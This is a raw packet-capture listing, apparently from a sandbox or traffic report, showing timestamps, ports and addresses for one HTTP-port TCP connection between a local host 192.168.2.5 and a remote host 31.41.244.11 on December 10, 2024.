Dec 10, 2024 05:10:12.610415936 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.610543013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.610583067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.611428022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.611464977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.611504078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.611551046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.612487078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.612521887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.612598896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.612641096 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.613493919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.613508940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.613540888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.613579035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.614464045 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.614507914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.753715038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.753793955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.753796101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.753851891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.754206896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.754220009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.754312992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.755028963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.755229950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.755274057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.755346060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.755392075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.756227016 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.756272078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.756333113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.756372929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.757280111 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.757319927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.757390976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.757437944 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.758307934 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.758353949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.758482933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.758527040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.759331942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.759376049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.759413004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.759454012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.760330915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.760381937 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.760427952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.760497093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.761389017 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.761431932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.761466980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.761502981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.762409925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.762459993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.762499094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.762536049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.763432980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.763493061 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.763526917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.763581038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.764425993 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.764467955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.764554977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.764591932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.765430927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.765474081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.765547991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.765584946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.766491890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.766532898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.766619921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.766660929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.767621994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.767668009 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.767679930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.767740011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.768517017 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.768558979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.768634081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.768676043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.769577026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.769619942 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.769659042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.769699097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.770639896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.770685911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.770689964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.770725012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.771790981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.771802902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.771833897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.771853924 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.772623062 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.772824049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.772896051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.772945881 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.773793936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.773806095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.773837090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.773853064 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.774898052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.774909973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.774943113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.775696039 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.775738955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.775804996 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.775844097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.776746988 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.776786089 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.776789904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.776829958 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.777708054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.777750969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.777833939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.777878046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.778712988 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.778759003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.778862000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.778903008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.779763937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.779808998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.779892921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.779934883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.780792952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.780863047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.780905962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.780987978 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.781794071 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.781833887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.781907082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.781948090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.782820940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.782883883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.782919884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.782968998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.783848047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.783926010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.784041882 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.784087896 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.784871101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.784917116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.784991980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.785037994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.785938025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.785957098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.785988092 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.786000967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.786896944 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.786936045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.787031889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.787075043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.787995100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.788036108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.788147926 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.788188934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.788990021 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.789042950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.789109945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.789151907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.789978981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.790020943 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.790102005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.790143967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.791009903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.791054964 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.791141987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.791193008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.792025089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.792071104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.792105913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.792145967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.793046951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.793091059 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.793165922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.793205976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.794087887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.794132948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.794194937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.794236898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.795147896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.795191050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.795250893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.795289993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.796091080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.796133995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.796202898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.796243906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.797146082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.797194004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.797380924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.797422886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.798131943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.798177004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.798234940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.798274994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.799205065 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.799245119 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.799274921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.799324989 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.800215006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.800257921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.800290108 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.800327063 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.801227093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.801270008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.801331997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.801369905 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.802213907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.802257061 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.802319050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.802360058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.803292036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.803333044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.803361893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.803400040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.804316998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.804359913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.804527044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.804568052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.805337906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.805377960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.805408955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.805444002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.806334972 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.806375980 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.806412935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.806451082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.807337999 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.807384968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.945982933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.946036100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.946054935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.946090937 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.946481943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.946522951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.946556091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.946594954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.947551966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.947618008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.947658062 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.947700977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.948546886 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.948585987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.948648930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.948688984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.949554920 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.949594975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.949636936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.949682951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.950560093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.950603962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.950717926 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.950758934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.951602936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.951644897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.951709986 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.951750994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.952615023 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.952657938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.952698946 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.952739954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.953633070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.953674078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.953731060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.953772068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.954667091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.954709053 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.954746962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.954788923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.955688953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.955734968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.955806971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.955849886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.956720114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.956788063 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.956799984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.956845045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.957745075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.957784891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.957851887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.957895041 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.958762884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.958805084 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.958874941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.958913088 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.959794044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.959836960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.959902048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.959953070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.960815907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.960865021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.960913897 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.960952997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.961827993 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.961869955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.961920977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.961961985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.962871075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.962918043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.962950945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.962990999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.963870049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.963959932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.964092970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.964092970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.964884996 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.964926004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.965008974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.965049982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.965918064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.965960026 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.966025114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.966065884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.966937065 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.966981888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.967020035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.967061043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.967969894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.968029976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.968069077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.968111038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.968986034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.969029903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.969088078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.969130993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.970019102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.970068932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.970104933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.970149040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.971039057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.971127033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.971132040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.971178055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.972038031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.972084999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.972156048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.972199917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.973062038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.973104000 CET	49833	80	192.168.2.5	31.41.244.11
